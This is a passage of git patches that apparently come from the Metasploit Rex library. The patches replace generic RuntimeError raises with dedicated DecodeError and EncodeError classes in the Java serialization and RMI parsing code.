'Failed to decode ReturnData stream id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode ReturnData stream id' end stream_id diff --git a/lib/rex/proto/rmi/model/return_value.rb b/lib/rex/proto/rmi/model/return_value.rb index 2077c0859e..984df31267 100644 --- a/lib/rex/proto/rmi/model/return_value.rb +++ b/lib/rex/proto/rmi/model/return_value.rb @@ -84,11 +84,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode the return code + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the return code def decode_code(io) code = read_byte(io) unless code == RETURN_VALUE || code == RETURN_EXCEPTION - raise ::RuntimeError, 'Failed to decode the ReturnValue code' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode the ReturnValue code' end code From 2e52817b24fcf38c8678b37e3c08e6161ec65941 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 5 Apr 2015 18:16:19 -0500 Subject: [PATCH 57/58] Add DecodeError --- lib/rex/proto/rmi/decode_error.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 lib/rex/proto/rmi/decode_error.rb diff --git a/lib/rex/proto/rmi/decode_error.rb b/lib/rex/proto/rmi/decode_error.rb new file mode 100644 index 0000000000..9308ea9765 --- /dev/null +++ b/lib/rex/proto/rmi/decode_error.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + class DecodeError < ::RuntimeError + end + end + end +end From 261ef5181334ede5b2a675ccd6d3d201f4d5346d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 5 Apr 2015 18:43:03 -0500 Subject: [PATCH 58/58] Add Rex::Java::Serialization exceptions --- lib/rex/java/serialization.rb | 2 + lib/rex/java/serialization/decode_error.rb | 11 +++++ lib/rex/java/serialization/encode_error.rb | 11 +++++ .../java/serialization/model/annotation.rb | 6 +-- .../java/serialization/model/block_data.rb | 6 +-- .../serialization/model/block_data_long.rb | 6 +-- .../java/serialization/model/class_desc.rb | 8 ++-- lib/rex/java/serialization/model/contents.rb | 15 +++---- lib/rex/java/serialization/model/field.rb | 17 ++++---- lib/rex/java/serialization/model/long_utf.rb | 6 +-- lib/rex/java/serialization/model/new_array.rb | 42 +++++++++---------- .../serialization/model/new_class_desc.rb | 18 ++++---- lib/rex/java/serialization/model/new_enum.rb | 10 ++--- .../java/serialization/model/new_object.rb | 34 +++++++-------- .../serialization/model/proxy_class_desc.rb | 10 ++--- lib/rex/java/serialization/model/reference.rb | 8 ++-- lib/rex/java/serialization/model/stream.rb | 12 +++--- lib/rex/java/serialization/model/utf.rb | 6 +-- .../model/block_data_long_spec.rb | 4 +- .../serialization/model/block_data_spec.rb | 4 +- .../java/serialization/model/field_spec.rb | 2 +- .../java/serialization/model/long_utf_spec.rb | 6 +-- .../rex/java/serialization/model/utf_spec.rb | 8 ++-- 23 files changed, 139 insertions(+), 113 deletions(-) create mode 100644 lib/rex/java/serialization/decode_error.rb create mode 100644 lib/rex/java/serialization/encode_error.rb diff --git a/lib/rex/java/serialization.rb b/lib/rex/java/serialization.rb index 0761c15fdb..c556ab7540 100644 --- a/lib/rex/java/serialization.rb +++ b/lib/rex/java/serialization.rb @@ -51,5 +51,7 @@ module Rex end end +require 'rex/java/serialization/decode_error' +require 'rex/java/serialization/encode_error' require 'rex/java/serialization/model' require 'rex/java/serialization/builder' \ No newline at end of file diff --git a/lib/rex/java/serialization/decode_error.rb b/lib/rex/java/serialization/decode_error.rb new file mode 100644 index 0000000000..e45964abfb --- /dev/null +++ b/lib/rex/java/serialization/decode_error.rb @@ -0,0 +1,11 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + class DecodeError < ::RuntimeError + + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/encode_error.rb b/lib/rex/java/serialization/encode_error.rb new file mode 100644 index 0000000000..483ad3401e --- /dev/null +++ b/lib/rex/java/serialization/encode_error.rb @@ -0,0 +1,11 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + class EncodeError < ::RuntimeError + + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/annotation.rb b/lib/rex/java/serialization/model/annotation.rb index d4ef420d9b..95b3bd9fa7 100644 --- a/lib/rex/java/serialization/model/annotation.rb +++ b/lib/rex/java/serialization/model/annotation.rb @@ -24,7 +24,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) loop do content = decode_content(io, stream) @@ -38,9 +38,9 @@ module Rex # Serializes the Rex::Java::Serialization::Model::Annotation # # @return [String] if serialization suceeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode - raise ::RuntimeError, 'Failed to serialize Annotation with empty contents' if contents.empty? + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Annotation with empty contents' if contents.empty? encoded = '' diff --git a/lib/rex/java/serialization/model/block_data.rb b/lib/rex/java/serialization/model/block_data.rb index 7f103ebf12..c92edaed13 100644 --- a/lib/rex/java/serialization/model/block_data.rb +++ b/lib/rex/java/serialization/model/block_data.rb @@ -26,10 +26,10 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) raw_length = io.read(1) - raise RuntimeError, 'Failed to unserialize BlockData' if raw_length.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' if raw_length.nil? self.length = raw_length.unpack('C')[0] if length == 0 @@ -37,7 +37,7 @@ module Rex else self.contents = io.read(length) if contents.nil? || contents.length != length - raise RuntimeError, 'Failed to unserialize BlockData' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' end end diff --git a/lib/rex/java/serialization/model/block_data_long.rb b/lib/rex/java/serialization/model/block_data_long.rb index 34adbac6d5..55002ebad2 100644 --- a/lib/rex/java/serialization/model/block_data_long.rb +++ b/lib/rex/java/serialization/model/block_data_long.rb @@ -26,11 +26,11 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) raw_length = io.read(4) if raw_length.nil? || raw_length.length != 4 - raise ::RuntimeError, 'Failed to unserialize BlockDataLong' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockDataLong' end self.length = raw_length.unpack('N')[0] @@ -39,7 +39,7 @@ module Rex else self.contents = io.read(length) if contents.nil? || contents.length != length - raise ::RuntimeError, 'Failed to unserialize BlockData' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' end end diff --git a/lib/rex/java/serialization/model/class_desc.rb b/lib/rex/java/serialization/model/class_desc.rb index 02ce6e2b11..927e2ef47e 100644 --- a/lib/rex/java/serialization/model/class_desc.rb +++ b/lib/rex/java/serialization/model/class_desc.rb @@ -21,13 +21,13 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) content = decode_content(io, stream) allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc] unless allowed_contents.include?(content.class) - raise ::RuntimeError, 'ClassDesc unserialize failed' + raise Rex::Java::Serialization::DecodeError, 'ClassDesc unserialize failed' end self.description = content @@ -37,13 +37,13 @@ module Rex # Serializes the Rex::Java::Serialization::Model::ClassDesc # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode encoded = '' allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc] unless allowed_contents.include?(description.class) - raise ::RuntimeError, 'Failed to serialize ClassDesc' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ClassDesc' end encoded << encode_content(description) diff --git a/lib/rex/java/serialization/model/contents.rb b/lib/rex/java/serialization/model/contents.rb index b170fc4827..1f70781ff2 100644 --- a/lib/rex/java/serialization/model/contents.rb +++ b/lib/rex/java/serialization/model/contents.rb @@ -11,10 +11,10 @@ module Rex # # @param io [IO] the io to read from # @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed or unsupported content + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed or unsupported content def decode_content(io, stream) opcode = io.read(1) - raise ::RuntimeError, 'Failed to unserialize content' if opcode.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' if opcode.nil? opcode = opcode.unpack('C')[0] content = nil @@ -48,11 +48,11 @@ module Rex when TC_NULL content = NullReference.decode(io, stream) when TC_EXCEPTION - raise ::RuntimeError, 'Failed to unserialize unsupported TC_EXCEPTION content' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize unsupported TC_EXCEPTION content' when TC_RESET content = Reset.decode(io, stream) else - raise ::RuntimeError, 'Failed to unserialize content' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' end content @@ -62,7 +62,7 @@ module Rex # # @param content [Rex::Java::Serialization::Model::Element] the content to serialize # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode_content(content) encoded = '' @@ -96,7 +96,7 @@ module Rex when Reference encoded << [TC_REFERENCE].pack('C') else - raise ::RuntimeError, 'Failed to serialize content' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content' end encoded << content.encode @@ -107,6 +107,7 @@ module Rex # # @param content [Rex::Java::Serialization::Model::Element] the content to print # @return [String] + # @raise [Rex::Java::Serialization::EncodeError] if the content is unknown def print_content(content) str = '' @@ -140,7 +141,7 @@ module Rex when Reference str << "#{print_class(content)} { #{content.to_s} }" else - raise ::RuntimeError, 'Failed to serialize content' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content' end str diff --git a/lib/rex/java/serialization/model/field.rb b/lib/rex/java/serialization/model/field.rb index 49d58585cf..b560e3606a 100644 --- a/lib/rex/java/serialization/model/field.rb +++ b/lib/rex/java/serialization/model/field.rb @@ -32,12 +32,12 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) code = io.read(1) unless code && is_valid?(code) - raise ::RuntimeError, 'Failed to unserialize Field' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field' end self.type = TYPE_CODES[code] @@ -53,14 +53,14 @@ module Rex # Serializes the Rex::Java::Serialization::Model::Field # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode unless name.kind_of?(Rex::Java::Serialization::Model::Utf) - raise ::RuntimeError, 'Failed to serialize Field' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' end unless is_type_valid? - raise ::RuntimeError, 'Failed to serialize Field' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' end encoded = '' @@ -138,11 +138,12 @@ module Rex # Serializes the `field_type` attribute. # # @return [String] + # @raise [Rex::Java::Serialization::EncodeError] if serialization fails def encode_field_type allowed_contents = [Utf, Reference] unless allowed_contents.include?(field_type.class) - raise ::RuntimeError, 'Failed to serialize Field' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' end encoded = encode_content(field_type) @@ -154,13 +155,13 @@ module Rex # # @param io [IO] the io to read from # @return [Java::Serialization::Model::Utf] - # @raise [RuntimeError] if unserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if unserialization doesn't succeed def decode_field_type(io) allowed_contents = [Utf, Reference] type = decode_content(io, stream) unless allowed_contents.include?(type.class) - raise ::RuntimeError, 'Failed to unserialize Field field_type' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field field_type' end type diff --git a/lib/rex/java/serialization/model/long_utf.rb b/lib/rex/java/serialization/model/long_utf.rb index 8ba2413200..df567bb6f0 100644 --- a/lib/rex/java/serialization/model/long_utf.rb +++ b/lib/rex/java/serialization/model/long_utf.rb @@ -11,11 +11,11 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @return [nil] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) raw_length = io.read(8) if raw_length.nil? || raw_length.length != 8 - raise ::RuntimeError, 'Failed to unserialize LongUtf' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf' end self.length = raw_length.unpack('Q>')[0] @@ -24,7 +24,7 @@ module Rex else self.contents = io.read(length) if contents.nil? || contents.length != length - raise ::RuntimeError, 'Failed to unserialize LongUtf' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf' end end diff --git a/lib/rex/java/serialization/model/new_array.rb b/lib/rex/java/serialization/model/new_array.rb index 8f86942f2c..86ff3b0acb 100644 --- a/lib/rex/java/serialization/model/new_array.rb +++ b/lib/rex/java/serialization/model/new_array.rb @@ -31,7 +31,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) self.array_description = ClassDesc.decode(io, stream) stream.add_reference(self) unless stream.nil? @@ -50,10 +50,10 @@ module Rex # Serializes the Rex::Java::Serialization::Model::NewArray # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode unless array_description.kind_of?(ClassDesc) - raise ::RuntimeError, 'Failed to serialize NewArray' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewArray' end encoded = '' @@ -83,11 +83,11 @@ module Rex # # @param io [IO] the io to read from # @return [Integer] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_values_length(io) values_length = io.read(4) if values_length.nil? || values_length.length != 4 - raise ::RuntimeError, 'Failed to unserialize NewArray' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewArray' end values_length.unpack('N')[0] @@ -96,15 +96,15 @@ module Rex # Extracts the NewArray data type # # @return [String] - # @raise [RuntimeError] if the NewArray description isn't valid - # @raise [RuntimeError] if the NewArray type isn't supported + # @raise [Rex::Java::Serialization::DecodeError] if the NewArray description isn't valid + # or type isn't supported def array_type if array_description.nil? - raise ::RuntimeError, 'Empty NewArray description' + raise Rex::Java::Serialization::DecodeError, 'Empty NewArray description' end unless array_description.kind_of?(ClassDesc) - raise ::RuntimeError, 'Unsupported NewArray description class' + raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description class' end desc = array_description.description @@ -115,7 +115,7 @@ module Rex end unless desc.class_name.contents[0] == '[' # Array - raise ::RuntimeError, 'Unsupported NewArray description' + raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description' end decoded_type = desc.class_name.contents[1] @@ -124,7 +124,7 @@ module Rex elsif decoded_type == 'L' # L : Object return desc.class_name.contents[2..desc.class_name.contents.index(';')] # Object class else - raise ::RuntimeError, 'Unsupported NewArray Type' + raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray Type' end end @@ -132,54 +132,54 @@ module Rex # # @param io [IO] the io to read from # @return [Fixnum, Float] if deserialization succeeds - # @raise [RuntimeError] if deserialization fails + # @raise [Rex::Java::Serialization::DecodeError] if deserialization fails def decode_value(io) value = nil case type when 'byte' value = io.read(1) - raise ::RuntimeError, 'Failed to deserialize NewArray value' if value.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil? value = value.unpack('c')[0] when 'char' value = io.read(2) unless value && value.length == 2 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('s>')[0] when 'double' value = io.read(8) unless value && value.length == 8 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('G')[0] when 'float' value = io.read(4) unless value && value.length == 4 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('g')[0] when 'int' value = io.read(4) unless value && value.length == 4 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('l>')[0] when 'long' value = io.read(8) unless value && value.length == 8 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('q>')[0] when 'short' value = io.read(2) unless value && value.length == 2 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('s>')[0] when 'boolean' value = io.read(1) - raise ::RuntimeError, 'Failed to deserialize NewArray value' if value.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil? value = value.unpack('c')[0] else # object value = decode_content(io, stream) @@ -192,7 +192,7 @@ module Rex # # @param value [] the value to serialize # @return [String] the serialized value - # @raise [RuntimeError] if serialization fails + # @raise [Rex::Java::Serialization::EncodeError] if serialization fails def encode_value(value) res = '' diff --git a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb index 36101dd683..b7b98a307b 100644 --- a/lib/rex/java/serialization/model/new_class_desc.rb +++ b/lib/rex/java/serialization/model/new_class_desc.rb @@ -43,7 +43,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) self.class_name = Utf.decode(io, stream) self.serial_version = decode_serial_version(io) @@ -64,12 +64,12 @@ module Rex # Serializes the Rex::Java::Serialization::Model::ClassDescription # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode unless class_name.class == Rex::Java::Serialization::Model::Utf || class_annotation.class == Rex::Java::Serialization::Model::Annotation || super_class.class == Rex::Java::Serialization::Model::ClassDesc - raise ::RuntimeError, 'Filed to serialize NewClassDesc' + raise Rex::Java::Serialization::EncodeError, 'Filed to serialize NewClassDesc' end encoded = '' encoded << class_name.encode @@ -112,11 +112,11 @@ module Rex # # @param io [IO] the io to read from # @return [Integer] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_serial_version(io) raw_serial = io.read(8) if raw_serial.nil? || raw_serial.length != 8 - raise ::RuntimeError, 'Failed to unserialize ClassDescription' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' end raw_serial.unpack('Q>')[0] @@ -126,10 +126,10 @@ module Rex # # @param io [IO] the io to read from # @return [Integer] if deserialization is possible - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_flags(io) raw_flags = io.read(1) - raise ::RuntimeError, 'Failed to unserialize ClassDescription' if raw_flags.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' if raw_flags.nil? raw_flags.unpack('C')[0] end @@ -138,11 +138,11 @@ module Rex # # @param io [IO] the io to read from # @return [Integer] if deserialization is possible - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_fields_length(io) fields_length = io.read(2) if fields_length.nil? || fields_length.length != 2 - raise ::RuntimeError, 'Failed to unserialize ClassDescription' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' end fields_length.unpack('n')[0] diff --git a/lib/rex/java/serialization/model/new_enum.rb b/lib/rex/java/serialization/model/new_enum.rb index c4ec80fd3a..89c700c7a7 100644 --- a/lib/rex/java/serialization/model/new_enum.rb +++ b/lib/rex/java/serialization/model/new_enum.rb @@ -27,7 +27,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) self.enum_description = ClassDesc.decode(io, stream) stream.add_reference(self) unless stream.nil? @@ -39,11 +39,11 @@ module Rex # Serializes the Rex::Java::Serialization::Model::NewEnum # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode unless enum_description.kind_of?(ClassDesc) && constant_name.kind_of?(Utf) - raise ::RuntimeError, 'Failed to serialize EnumDescription' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize EnumDescription' end encoded = '' @@ -65,10 +65,10 @@ module Rex # # @param io [IO] the io to read from # @return [Rex::Java::Serialization::Model::Utf] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succed def decode_constant_name(io) content = decode_content(io, stream) - raise ::RuntimeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf) + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf) content end diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb index b37025dacc..9b84548cb2 100644 --- a/lib/rex/java/serialization/model/new_object.rb +++ b/lib/rex/java/serialization/model/new_object.rb @@ -27,7 +27,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) self.class_desc = ClassDesc.decode(io, stream) stream.add_reference(self) unless stream.nil? @@ -46,10 +46,10 @@ module Rex # Serializes the Rex::Java::Serialization::Model::NewObject # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode unless class_desc.kind_of?(ClassDesc) - raise ::RuntimeError, 'Failed to serialize NewObject' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewObject' end encoded = '' @@ -93,7 +93,7 @@ module Rex # @param io [IO] the io to read from # @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted # @return [Array] class_data values if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_class_data(io, my_class_desc) values = [] @@ -116,7 +116,7 @@ module Rex # @param io [IO] the io to read from # @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted # @return [Array] class_data values if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_class_fields(io, my_class_desc) values = [] @@ -137,57 +137,57 @@ module Rex # @param io [IO] the io to read from # @param type [String] the type of the value to deserialize # @return [Array(String, )] type and value if deserialization succeeds - # @raise [RuntimeError] if deserialization fails + # @raise [Rex::Java::Serialization::DecodeError] if deserialization fails def decode_value(io, type) value = [] case type when 'byte' value_raw = io.read(1) - raise ::RuntimeError, 'Failed to deserialize NewArray value' if value_raw.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil? value.push('byte', value_raw.unpack('c')[0]) when 'char' value_raw = io.read(2) unless value_raw && value_raw.length == 2 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('char', value_raw.unpack('s>')[0]) when 'double' value_raw = io.read(8) unless value_raw && value_raw.length == 8 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('double', value = value_raw.unpack('G')[0]) when 'float' value_raw = io.read(4) unless value_raw && value_raw.length == 4 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('float', value_raw.unpack('g')[0]) when 'int' value_raw = io.read(4) unless value_raw && value_raw.length == 4 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('int', value_raw.unpack('l>')[0]) when 'long' value_raw = io.read(8) unless value_raw && value_raw.length == 8 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('long', value_raw.unpack('q>')[0]) when 'short' value_raw = io.read(2) unless value_raw && value_raw.length == 2 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('short', value_raw.unpack('s>')[0]) when 'boolean' value_raw = io.read(1) - raise ::RuntimeError, 'Failed to deserialize NewArray value' if value_raw.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil? value.push('boolean', value_raw.unpack('c')[0]) else - raise ::RuntimeError, 'Unsupported NewArray type' + raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray type' end value @@ -197,7 +197,7 @@ module Rex # # @param value [Array] the type and value to serialize # @return [String] the serialized value - # @raise [RuntimeError] if serialization fails + # @raise [Rex::Java::Serialization::EncodeError] if serialization fails def encode_value(value) res = '' @@ -219,7 +219,7 @@ module Rex when 'boolean' res = [value[1]].pack('c') else - raise ::RuntimeError, 'Unsupported NewArray type' + raise Rex::Java::Serialization::EncodeError, 'Unsupported NewArray type' end res diff --git a/lib/rex/java/serialization/model/proxy_class_desc.rb b/lib/rex/java/serialization/model/proxy_class_desc.rb index ba9cb40169..61ad5de9b4 100644 --- a/lib/rex/java/serialization/model/proxy_class_desc.rb +++ b/lib/rex/java/serialization/model/proxy_class_desc.rb @@ -31,7 +31,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) stream.add_reference(self) unless stream.nil? @@ -49,11 +49,11 @@ module Rex # Serializes the Rex::Java::Serialization::Model::ProxyClassDesc # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode unless class_annotation.class == Rex::Java::Serialization::Model::Annotation || super_class.class == Rex::Java::Serialization::Model::ClassDesc - raise ::RuntimeError, 'Filed to serialize ProxyClassDesc' + raise Rex::Java::Serialization::EncodeError, 'Filed to serialize ProxyClassDesc' end encoded = '' encoded << [interfaces.length].pack('N') @@ -93,11 +93,11 @@ module Rex # # @param io [IO] the io to read from # @return [Fixnum] if deserialization is possible - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_interfaces_length(io) fields_length = io.read(4) if fields_length.nil? || fields_length.length != 4 - raise ::RuntimeError, 'Failed to unserialize ProxyClassDesc' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ProxyClassDesc' end fields_length.unpack('N')[0] diff --git a/lib/rex/java/serialization/model/reference.rb b/lib/rex/java/serialization/model/reference.rb index 71c7765dae..3e8b27ca2f 100644 --- a/lib/rex/java/serialization/model/reference.rb +++ b/lib/rex/java/serialization/model/reference.rb @@ -21,11 +21,11 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) handle_raw = io.read(4) unless handle_raw && handle_raw.length == 4 - raise ::RuntimeError, 'Failed to unserialize Reference' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Reference' end self.handle = handle_raw.unpack('N')[0] @@ -36,10 +36,10 @@ module Rex # Serializes the Rex::Java::Serialization::Model::Reference # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode if handle < BASE_WIRE_HANDLE - raise ::RuntimeError, 'Failed to serialize Reference' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Reference' end encoded = '' diff --git a/lib/rex/java/serialization/model/stream.rb b/lib/rex/java/serialization/model/stream.rb index 97107e2481..d01edd2bb2 100644 --- a/lib/rex/java/serialization/model/stream.rb +++ b/lib/rex/java/serialization/model/stream.rb @@ -34,7 +34,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) self.magic = decode_magic(io) self.version = decode_version(io) @@ -50,7 +50,7 @@ module Rex # Serializes the Rex::Java::Serialization::Model::Stream # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode encoded = '' encoded << [magic].pack('n') @@ -92,12 +92,12 @@ module Rex # # @param io [IO] the io to read from # @return 